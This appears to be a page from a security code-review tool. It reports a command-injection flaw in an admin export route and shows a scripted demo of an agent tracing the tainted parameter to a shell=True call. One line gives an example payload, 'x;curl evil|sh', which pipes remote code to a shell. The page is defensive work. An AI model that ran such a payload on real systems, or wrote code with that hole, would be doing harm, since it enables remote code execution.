Push review · 25e44bb
Nightly export archives for admins
GitHub check
Merge blocked
OS command injection in app/services/reports.py:22. Fix it and push again to pass the check.
Points
-520ptsTotal1000480
Security700210
Craft300270
What changed: Adds POST /admin/exports/{name}. The path segment is interpolated into a shell command in reports.export_archive (shell=True), so
name=x;curl evil|sh executes arbitrary commands. The route requires admin, which limits but does not remove the risk (compromised or malicious admin, CSRF from an admin session).Scripted demo replaySecurity agent
Scripted demo replay
Instead of reading one big prompt, the agent plans, then investigates the code graph one tool call at a time and sees each real result before deciding what to check next.
Plan
- 1Inspect the changed function and where its inputs come from
- 2Trace entry points through the change to dangerous calls
- 3Read the code on the path for validation or auth checks
- 4Report only what the evidence supports
- Step 1Looked up
app.routes.admin:create_exportStart with the changed symbol.
What it found
{ "id": "app.routes.admin:create_export", "kind": "function", "file": "app/routes/admin.py", "lines": [ 17, 19 ], "params": [ "name", "admin" ], "entry_point": true, "route": "POST /exports/{name}", "depends_on": [ "require_admin" ], "untrusted_inputs": [ "route_param:name" ], "dangerous_calls": [], "has_docstring": true } callers: (none) callees: app.auth:require_admin (app/auth.py:18-22) via line 17 app.services.reports:export_archive (app/services/reports.py:19-23) [sinks=command@L22(tainted)] via line 19 [tainted args]